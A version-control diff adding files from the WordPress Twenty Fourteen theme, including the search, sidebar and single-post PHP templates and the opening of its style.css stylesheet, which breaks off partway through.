--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/search.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/search.php	(revision 33402)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * The template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyfourteen' ), get_search_query() ); ?></h1>
+			</header><!-- .page-header -->
+
+				<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next post navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar-content.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar-content.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar-content.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * The Content Sidebar
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+if ( ! is_active_sidebar( 'sidebar-2' ) ) {
+	return;
+}
+?>
+<div id="content-sidebar" class="content-sidebar widget-area" role="complementary">
+	<?php dynamic_sidebar( 'sidebar-2' ); ?>
+</div><!-- #content-sidebar -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar-footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar-footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar-footer.php	(revision 33402)
@@ -0,0 +1,19 @@
+<?php
+/**
+ * The Footer Sidebar
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+if ( ! is_active_sidebar( 'sidebar-3' ) ) {
+	return;
+}
+?>
+
+<div id="supplementary">
+	<div id="footer-sidebar" class="footer-sidebar widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-3' ); ?>
+	</div><!-- #footer-sidebar -->
+</div><!-- #supplementary -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/sidebar.php	(revision 33402)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * The Sidebar containing the main widget area
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+<div id="secondary">
+	<?php
+		$description = get_bloginfo( 'description', 'display' );
+		if ( ! empty ( $description ) ) :
+	?>
+	<h2 class="site-description"><?php echo esc_html( $description ); ?></h2>
+	<?php endif; ?>
+
+	<?php if ( has_nav_menu( 'secondary' ) ) : ?>
+	<nav role="navigation" class="navigation site-navigation secondary-navigation">
+		<?php wp_nav_menu( array( 'theme_location' => 'secondary' ) ); ?>
+	</nav>
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+	<div id="primary-sidebar" class="primary-sidebar widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-1' ); ?>
+	</div><!-- #primary-sidebar -->
+	<?php endif; ?>
+</div><!-- #secondary -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/single.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/single.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/single.php	(revision 33402)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * The Template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+
+					/*
+					 * Include the post format-specific template for the content. If you want to
+					 * use this in a child theme, then include a file called called content-___.php
+					 * (where ___ is the post format) and that will be used instead.
+					 */
+					get_template_part( 'content', get_post_format() );
+
+					// Previous/next post navigation.
+					twentyfourteen_post_nav();
+
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+				endwhile;
+			?>
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/style.css	(revision 33402)
@@ -0,0 +1,4321 @@
+/*
+Theme Name: Twenty Fourteen
+Theme URI: http://wordpress.org/themes/twentyfourteen
+Author: the WordPress team
+Author URI: http://wordpress.org/
+Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design. Feature your favorite homepage content in either a grid or a slider. Use the three widget areas to customize your website, and change your content's layout with a full-width page template and a contributor page to show off your authors. Creating a magazine website with WordPress has never been easier.
+Version: 1.3
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: black, green, white, light, dark, two-columns, three-columns, left-sidebar, right-sidebar, fixed-layout, responsive-layout, custom-background, custom-header, custom-menu, editor-style, featured-images, flexible-header, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready, accessibility-ready
+Text Domain: twentyfourteen
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 2.0 - Repeatable Patterns
+ * 3.0 - Basic Structure
+ * 4.0 - Header
+ * 5.0 - Navigation
+ * 6.0 - Content
+ *   6.1 - Post Thumbnail
+ *   6.2 - Entry Header
+ *   6.3 - Entry Meta
+ *   6.4 - Entry Content
+ *   6.5 - Galleries
+ *   6.6 - Post Formats
+ *   6.7 - Post/Image/Paging Navigation
+ *   6.8 - Attachments
+ *   6.9 - Archives
+ *   6.10 - Contributor Page
+ *   6.11 - 404 Page
+ *   6.12 - Full-width
+ *   6.13 - Singular
+ *   6.14 - Comments
+ * 7.0 - Sidebar
+ *   7.1 - Widgets
+ *   7.2 - Content Sidebar Widgets
+ * 8.0 - Footer
+ * 9.0 - Featured Content
+ * 10.0 - Multisite
+ * 11.0 - Media Queries
+ * 12.0 - Print
+ * -----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Reset
+ *
+ * Resetting and rebuilding styles have been helped along thanks to the fine
+ * work of Eric Meyer http://meyerweb.com/eric/tools/css/reset/index.html
+ * along with Nicolas Gallagher and Jonathan Neal
+ * http://necolas.github.com/normalize.css/ and Blueprint
+ * http://www.blueprintcss.org/
+ *
+ * -----------------------------------------------------------------------------
+ */
+
+html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td {
+	border: 0;
+	font-family: inherit;
+	font-size: 100%;
+	font-style: inherit;
+	font-weight: inherit;
+	margin: 0;
+	outline: 0;
+	padding: 0;
+	vertical-align: baseline;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+hgroup,
+nav,
+section {
+	display: block;
+}
+
+audio,
+canvas,
+video {
+	display: inline-block;
+	max-width: 100%;
+}
+
+html {
+	overflow-y: scroll;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust:     100%;
+}
+
+body,
+button,
+input,
+select,
+textarea {
+	color: #2b2b2b;
+	font-family: Lato, sans-serif;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+body {
+	background: #f5f5f5;
+}
+
+a {
+	color: #24890d;
+	text-decoration: none;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:hover,
+a:active {
+	outline: 0;
+}
+
+a:active,
+a:hover {
+	color: #41a62a;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+	margin: 36px 0 12px;
+}
+
+h1 {
+	font-size: 26px;
+	line-height: 1.3846153846;
+}
+
+h2 {
+	font-size: 24px;
+	line-height: 1;
+}
+
+h3 {
+	font-size: 22px;
+	line-height: 1.0909090909;
+}
+
+h4 {
+	font-size: 20px;
+	line-height: 1.2;
+}
+
+h5 {
+	font-size: 18px;
+	line-height: 1.3333333333;
+}
+
+h6 {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+address {
+	font-style: italic;
+	margin-bottom: 24px;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #2b2b2b;
+	cursor: help;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+cite,
+dfn,
+em,
+i {
+	font-style: italic;
+}
+
+mark,
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+
+p {
+	margin-bottom: 24px;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: monospace, serif;
+	font-size: 15px;
+	-webkit-hyphens: none;
+	-moz-hyphens:    none;
+	-ms-hyphens:     none;
+	hyphens:         none;
+	line-height: 1.6;
+}
+
+pre {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	margin-bottom: 24px;
+	max-width: 100%;
+	overflow: auto;
+	padding: 12px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+blockquote,
+q {
+	-webkit-hyphens: none;
+	-moz-hyphens:    none;
+	-ms-hyphens:     none;
+	hyphens:         none;
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+blockquote {
+	color: #767676;
+	font-size: 19px;
+	font-style: italic;
+	font-weight: 300;
+	line-height: 1.2631578947;
+	margin-bottom: 24px;
+}
+
+blockquote cite,
+blockquote small {
+	color: #2b2b2b;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+small {
+	font-size: smaller;
+}
+
+big {
+	font-size: 125%;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	bottom: 1ex;
+}
+
+sub {
+	top: .5ex;
+}
+
+dl {
+	margin-bottom: 24px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin-bottom: 24px;
+}
+
+ul,
+ol {
+	list-style: none;
+	margin: 0 0 24px 20px;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin: 0 0 0 20px;
+}
+
+img {
+	-ms-interpolation-mode: bicubic;
+	border: 0;
+	vertical-align: middle;
+}
+
+figure {
+	margin: 0;
+}
+
+fieldset {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	margin: 0 0 24px;
+	padding: 11px 12px 0;
+}
+
+legend {
+	white-space: normal;
+}
+
+button,
+input,
+select,
+textarea {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	font-size: 100%;
+	margin: 0;
+	max-width: 100%;
+	vertical-align: baseline;
+}
+
+button,
+input {
+	line-height: normal;
+}
+
+input,
+textarea {
+	background-image: -webkit-linear-gradient(hsla(0,0%,100%,0), hsla(0,0%,100%,0)); /* Removing the inner shadow, rounded corners on iOS inputs */
+}
+
+button,
+html input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	-webkit-appearance: button;
+	cursor: pointer;
+}
+
+button[disabled],
+input[disabled] {
+	cursor: default;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	padding: 0;
+}
+
+input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+input[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+button::-moz-focus-inner,
+input::-moz-focus-inner {
+	border: 0;
+	padding: 0;
+}
+
+textarea {
+	overflow: auto;
+	vertical-align: top;
+}
+
+table,
+th,
+td {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+}
+
+table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin-bottom: 24px;
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+th {
+	border-width: 0 1px 1px 0;
+	font-weight: bold;
+}
+
+td {
+	border-width: 0 1px 1px 0;
+}
+
+del {
+	color: #767676;
+}
+
+hr {
+	background-color: rgba(0, 0, 0, 0.1);
+	border: 0;
+	height: 1px;
+	margin-bottom: 23px;
+}
+
+/* Support a widely-adopted but non-standard selector for text selection styles
+ * to achieve a better experience. See https://core.trac.wordpress.org/ticket/25898.
+ */
+::selection {
+	background: #24890d;
+	color: #fff;
+	text-shadow: none;
+}
+
+::-moz-selection {
+	background: #24890d;
+	color: #fff;
+	text-shadow: none;
+}
+
+
+/**
+ * 2.0 Repeatable Patterns
+ * -----------------------------------------------------------------------------
+ */
+
+/* Input fields */
+
+input,
+textarea {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	border-radius: 2px;
+	color: #2b2b2b;
+	padding: 8px 10px 7px;
+}
+
+textarea {
+	width: 100%;
+}
+
+input:focus,
+textarea:focus {
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	outline: 0;
+}
+
+/* Buttons */
+
+button,
+.button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	background-color: #24890d;
+	border: 0;
+	border-radius: 2px;
+	color: #fff;
+	font-size: 12px;
+	font-weight: 700;
+	padding: 10px 30px 11px;
+	text-transform: uppercase;
+	vertical-align: bottom;
+}
+
+button:hover,
+button:focus,
+.button:hover,
+.button:focus,
+input[type="button"]:hover,
+input[type="button"]:focus,
+input[type="reset"]:hover,
+input[type="reset"]:focus,
+input[type="submit"]:hover,
+input[type="submit"]:focus {
+	background-color: #41a62a;
+	color: #fff;
+}
+
+button:active,
+.button:active,
+input[type="button"]:active,
+input[type="reset"]:active,
+input[type="submit"]:active {
+	background-color: #55d737;
+}
+
+.search-field {
+	width: 100%;
+}
+
+.search-submit {
+	display: none;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+
+::-webkit-input-placeholder {
+	color: #939393;
+}
+
+:-moz-placeholder {
+	color: #939393;
+}
+
+::-moz-placeholder {
+	color: #939393;
+	opacity: 1; /* Since FF19 lowers the opacity of the placeholder by default */
+}
+
+:-ms-input-placeholder {
+	color: #939393;
+}
+
+/* Responsive images. Fluid images for posts, comments, and widgets */
+
+.comment-content img,
+.entry-content img,
+.entry-summary img,
+#site-header img,
+.widget img,
+.wp-caption {
+	max-width: 100%;
+}
+
+/**
+ * Make sure images with WordPress-added height and width attributes are
+ * scaled correctly.
+ */
+
+.comment-content img[height],
+.entry-content img,
+.entry-summary img,
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"],
+#site-header img {
+	height: auto;
+}
+
+img.size-full,
+img.size-large,
+.wp-post-image,
+.post-thumbnail img {
+	height: auto;
+	max-width: 100%;
+}
+
+/* Make sure embeds and iframes fit their containers */
+
+embed,
+iframe,
+object,
+video {
+	margin-bottom: 24px;
+	max-width: 100%;
+}
+
+p > embed,
+p > iframe,
+p > object,
+span > embed,
+span > iframe,
+span > object {
+	margin-bottom: 0;
+}
+
+/* Alignment */
+
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+blockquote.alignleft,
+figure.wp-caption.alignleft,
+img.alignleft {
+	margin: 7px 24px 7px 0;
+}
+
+.wp-caption.alignleft {
+	margin: 7px 14px 7px 0;
+}
+
+blockquote.alignright,
+figure.wp-caption.alignright,
+img.alignright {
+	margin: 7px 0 7px 24px;
+}
+
+.wp-caption.alignright {
+	margin: 7px 0 7px 14px;
+}
+
+blockquote.aligncenter,
+img.aligncenter,
+.wp-caption.aligncenter {
+	margin-top: 7px;
+	margin-bottom: 7px;
+}
+
+.site-content blockquote.alignleft,
+.site-content blockquote.alignright {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	padding-top: 17px;
+	width: 50%;
+}
+
+.site-content blockquote.alignleft p,
+.site-content blockquote.alignright p {
+	margin-bottom: 17px;
+}
+
+.wp-caption {
+	margin-bottom: 24px;
+}
+
+.wp-caption img[class*="wp-image-"] {
+	display: block;
+	margin: 0;
+}
+
+.wp-caption {
+	color: #767676;
+}
+
+.wp-caption-text {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	font-size: 12px;
+	font-style: italic;
+	line-height: 1.5;
+	margin: 9px 0;
+}
+
+div.wp-caption .wp-caption-text {
+	padding-right: 10px;
+}
+
+div.wp-caption.alignright img[class*="wp-image-"],
+div.wp-caption.alignright .wp-caption-text {
+	padding-left: 10px;
+	padding-right: 0;
+}
+
+.wp-smiley {
+	border: 0;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+
+/* Assistive text */
+
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	position: absolute;
+}
+
+.screen-reader-text:focus {
+	background-color: #f1f1f1;
+	border-radius: 3px;
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	clip: auto;
+	color: #21759b;
+	display: block;
+	font-size: 14px;
+	font-weight: bold;
+	height: auto;
+	line-height: normal;
+	padding: 15px 23px 14px;
+	position: absolute;
+	left: 5px;
+	top: 5px;
+	text-decoration: none;
+	text-transform: none;
+	width: auto;
+	z-index: 100000; /* Above WP toolbar */
+}
+
+.hide {
+	display: none;
+}
+
+/* Clearing floats */
+
+.footer-sidebar:before,
+.footer-sidebar:after,
+.hentry:before,
+.hentry:after,
+.gallery:before,
+.gallery:after,
+.slider-direction-nav:before,
+.slider-direction-nav:after,
+.contributor-info:before,
+.contributor-info:after,
+.search-box:before,
+.search-box:after,
+[class*="content"]:before,
+[class*="content"]:after,
+[class*="site"]:before,
+[class*="site"]:after {
+	content: "";
+	display: table;
+}
+
+.footer-sidebar:after,
+.hentry:after,
+.gallery:after,
+.slider-direction-nav:after,
+.contributor-info:after,
+.search-box:after,
+[class*="content"]:after,
+[class*="site"]:after {
+	clear: both;
+}
+
+/* Genericons */
+
+.bypostauthor > article .fn:before,
+.comment-edit-link:before,
+.comment-reply-link:before,
+.comment-reply-login:before,
+.comment-reply-title small a:before,
+.contributor-posts-link:before,
+.menu-toggle:before,
+.search-toggle:before,
+.slider-direction-nav a:before,
+.widget_twentyfourteen_ephemera .widget-title:before {
+	-webkit-font-smoothing: antialiased;
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+	text-decoration: inherit;
+	vertical-align: text-bottom;
+}
+
+/* Separators */
+
+.site-content span + .entry-date:before,
+.full-size-link:before,
+.parent-post-link:before,
+span + .byline:before,
+span + .comments-link:before,
+span + .edit-link:before,
+.widget_twentyfourteen_ephemera .entry-title:after {
+	content: "\0020\007c\0020";
+}
+
+
+/**
+ * 3.0 Basic Structure
+ * -----------------------------------------------------------------------------
+ */
+
+.site {
+	background-color: #fff;
+	max-width: 1260px;
+	position: relative;
+}
+
+.main-content {
+	width: 100%;
+}
+
+
+/**
+ * 4.0 Header
+ * -----------------------------------------------------------------------------
+ */
+
+/* Ensure that there is no gap between the header and
+	 the admin bar for WordPress versions before 3.8. */
+#wpadminbar {
+	min-height: 32px;
+}
+
+#site-header {
+	position: relative;
+	z-index: 3;
+}
+
+.site-header {
+	background-color: #000;
+	max-width: 1260px;
+	position: relative;
+	width: 100%;
+	z-index: 4;
+}
+
+.header-main {
+	min-height: 48px;
+	padding: 0 10px;
+}
+
+.site-title {
+	float: left;
+	font-size: 18px;
+	font-weight: 700;
+	line-height: 48px;
+	margin: 0;
+
+	/* Nav-toggle width + search-toggle width - gutter = 86px */
+	max-width: -webkit-calc(100% - 86px);
+	max-width:         calc(100% - 86px);
+}
+
+.site-title a,
+.site-title a:hover {
+	color: #fff;
+	display: block;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+/* Search in the header */
+
+.search-toggle {
+	background-color: #24890d;
+	cursor: pointer;
+	float: right;
+	height: 48px;
+	margin-right: 38px;
+	text-align: center;
+	width: 48px;
+}
+
+.search-toggle:hover,
+.search-toggle.active {
+	background-color: #41a62a;
+}
+
+.search-toggle:before {
+	color: #fff;
+	content: "\f400";
+	font-size: 20px;
+	margin-top: 14px;
+}
+
+.search-toggle .screen-reader-text {
+	left: 5px; /* Avoid a horizontal scrollbar when the site has a long menu */
+}
+
+.search-box-wrapper {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	position: absolute;
+	top: 48px;
+	right: 0;
+	width: 100%;
+	z-index: 2;
+}
+
+.search-box {
+	background-color: #41a62a;
+	padding: 12px;
+}
+
+.search-box .search-field {
+	background-color: #fff;
+	border: 0;
+	float: right;
+	font-size: 16px;
+	padding: 2px 2px 3px 6px;
+	width: 100%;
+}
+
+
+/**
+ * 5.0 Navigation
+ * -----------------------------------------------------------------------------
+ */
+
+.site-navigation ul {
+	list-style: none;
+	margin: 0;
+}
+
+.site-navigation li {
+	border-top: 1px solid rgba(255, 255, 255, 0.2);
+}
+
+.site-navigation ul ul {
+	margin-left: 20px;
+}
+
+.site-navigation a {
+	color: #fff;
+	display: block;
+	text-transform: uppercase;
+}
+
+.site-navigation a:hover {
+	color: #41a62a;
+}
+
+.site-navigation .current_page_item > a,
+.site-navigation .current_page_ancestor > a,
+.site-navigation .current-menu-item > a,
+.site-navigation .current-menu-ancestor > a {
+	color: #55d737;
+	font-weight: 900;
+}
+
+/* Primary Navigation */
+
+.primary-navigation {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	font-size: 14px;
+	padding-top: 24px;
+}
+
+.primary-navigation.toggled-on {
+	padding: 72px 0 36px;
+}
+
+.primary-navigation .nav-menu {
+	border-bottom: 1px solid rgba(255, 255, 255, 0.2);
+	display: none;
+}
+
+.primary-navigation.toggled-on .nav-menu {
+	display: block;
+}
+
+.primary-navigation a {
+	padding: 7px 0;
+}
+
+/* Secondary Navigation */
+
+.secondary-navigation {
+	border-bottom: 1px solid rgba(255, 255, 255, 0.2);
+	font-size: 12px;
+	margin: 48px 0;
+}
+
+.secondary-navigation a {
+	padding: 9px 0;
+}
+
+.menu-toggle {
+	background-color: #000;
+	border-radius: 0;
+	cursor: pointer;
+	height: 48px;
+	margin: 0;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	top: 0;
+	right: 0;
+	text-align: center;
+	width: 48px;
+}
+
+.menu-toggle:before {
+	color: #fff;
+	content: "\f419";
+	padding: 16px;
+}
+
+.menu-toggle:active,
+.menu-toggle:focus,
+.menu-toggle:hover {
+	background-color: #444;
+}
+
+.menu-toggle:focus {
+	outline: 1px dotted;
+}
+
+
+/**
+ * 6.0 Content
+ * -----------------------------------------------------------------------------
+ */
+
+.content-area {
+	padding-top: 48px;
+}
+
+.hentry {
+	margin: 0 auto 48px;
+	max-width: 672px;
+}
+
+.site-content .entry-header,
+.site-content .entry-content,
+.site-content .entry-summary,
+.site-content .entry-meta,
+.page-content {
+	margin: 0 auto;
+	max-width: 474px;
+}
+
+.page-content {
+	margin-bottom: 48px;
+}
+
+
+/**
+ * 6.1 Post Thumbnail
+ * -----------------------------------------------------------------------------
+ */
+
+.post-thumbnail {
+	background: #b2b2b2 url(images/pattern-light.svg) repeat fixed;
+	display: block;
+	position: relative;
+	width: 100%;
+	z-index: 0;
+}
+
+a.post-thumbnail:hover {
+	background-color: #999;
+}
+
+.full-width .post-thumbnail img {
+	display: block;
+	margin: 0 auto;
+}
+
+
+/**
+ * 6.2 Entry Header
+ * -----------------------------------------------------------------------------
+ */
+
+.entry-header {
+	position: relative;
+	z-index: 1;
+}
+
+.entry-title {
+	font-size: 33px;
+	font-weight: 300;
+	line-height: 1.0909090909;
+	margin-bottom: 12px;
+	margin: 0 0 12px 0;
+	text-transform: uppercase;
+}
+
+.entry-title a {
+	color: #2b2b2b;
+}
+
+.entry-title a:hover {
+	color: #41a62a;
+}
+
+.site-content .entry-header {
+	background-color: #fff;
+	padding: 0 10px 12px;
+}
+
+.site-content .has-post-thumbnail .entry-header {
+	padding-top: 24px;
+}
+
+
+/**
+ * 6.3 Entry Meta
+ * -----------------------------------------------------------------------------
+ */
+
+.entry-meta {
+	clear: both;
+	color: #767676;
+	font-size: 12px;
+	font-weight: 400;
+	line-height: 1.3333333333;
+	text-transform: uppercase;
+}
+
+.entry-meta a {
+	color: #767676;
+}
+
+.entry-meta a:hover {
+	color: #41a62a;
+}
+
+.sticky .entry-date {
+	display: none;
+}
+
+.cat-links {
+	font-weight: 900;
+	text-transform: uppercase;
+}
+
+.cat-links a {
+	color: #2b2b2b;
+}
+
+.cat-links a:hover {
+	color: #41a62a;
+}
+
+.byline {
+	display: none;
+}
+
+.single .byline,
+.group-blog .byline {
+	display: inline;
+}
+
+.site-content .entry-meta {
+	background-color: #fff;
+	margin-bottom: 8px;
+}
+
+.site-content footer.entry-meta {
+	margin: 24px auto 0;
+	padding: 0 10px;
+}
+
+/* Tag links style */
+
+.entry-meta .tag-links a {
+	background-color: #767676;
+	border-radius: 0 2px 2px 0;
+	color: #fff;
+	display: inline-block;
+	font-size: 11px;
+	font-weight: 700;
+	line-height: 1.2727272727;
+	margin: 2px 4px 2px 10px;
+	padding: 3px 7px;
+	position: relative;
+	text-transform: uppercase;
+}
+
+.entry-meta .tag-links a:hover {
+	background-color: #41a62a;
+	color: #fff;
+}
+
+.entry-meta .tag-links a:before {
+	border-top: 10px solid transparent;
+	border-right: 8px solid #767676;
+	border-bottom: 10px solid transparent;
+	content: "";
+	height: 0;
+	position: absolute;
+	top: 0;
+	left: -8px;
+	width: 0;
+}
+
+.entry-meta .tag-links a:hover:before {
+	border-right-color: #41a62a;
+}
+
+.entry-meta .tag-links a:after {
+	background-color: #fff;
+	border-radius: 50%;
+	content: "";
+	height: 4px;
+	position: absolute;
+	top: 8px;
+	left: -2px;
+	width: 4px;
+}
+
+
+/**
+ * 6.4 Entry Content
+ * -----------------------------------------------------------------------------
+ */
+
+.entry-content,
+.entry-summary,
+.page-content {
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	word-wrap: break-word;
+}
+
+.site-content .entry-content,
+.site-content .entry-summary,
+.page-content {
+	background-color: #fff;
+	padding: 12px 10px 0;
+}
+
+.page .entry-content {
+	padding-top: 0;
+}
+
+.entry-content h1:first-child,
+.entry-content h2:first-child,
+.entry-content h3:first-child,
+.entry-content h4:first-child,
+.entry-content h5:first-child,
+.entry-content h6:first-child,
+.entry-summary h1:first-child,
+.entry-summary h2:first-child,
+.entry-summary h3:first-child,
+.entry-summary h4:first-child,
+.entry-summary h5:first-child,
+.entry-summary h6:first-child,
+.page-content h1:first-child,
+.page-content h2:first-child,
+.page-content h3:first-child,
+.page-content h4:first-child,
+.page-content h5:first-child,
+.page-content h6:first-child {
+	margin-top: 0;
+}
+
+.entry-content a,
+.entry-summary a,
+.page-content a,
+.comment-content a {
+	text-decoration: underline;
+}
+
+.entry-content a:hover,
+.entry-summary a:hover,
+.page-content a:hover,
+.comment-content a:hover,
+.entry-content a.button,
+.entry-summary a.button,
+.page-content a.button,
+.comment-content a.button {
+	text-decoration: none;
+}
+
+.entry-content table,
+.comment-content table {
+	font-size: 14px;
+	line-height: 1.2857142857;
+	margin-bottom: 24px;
+}
+
+.entry-content th,
+.comment-content th {
+	font-weight: 700;
+	padding: 8px;
+	text-transform: uppercase;
+}
+
+.entry-content td,
+.comment-content td {
+	padding: 8px;
+}
+
+.entry-content .edit-link {
+	clear: both;
+	display: block;
+	font-size: 12px;
+	font-weight: 400;
+	line-height: 1.3333333333;
+	text-transform: uppercase;
+}
+
+.entry-content .edit-link a {
+	color: #767676;
+	text-decoration: none;
+}
+
+.entry-content .edit-link a:hover {
+	color: #41a62a;
+}
+
+.entry-content .more-link {
+	white-space: nowrap;
+}
+
+/* Mediaelements */
+
+.hentry .mejs-container {
+	margin: 12px 0 18px;
+}
+
+.hentry .mejs-mediaelement,
+.hentry .mejs-container .mejs-controls {
+	background: #000;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-loaded,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-current {
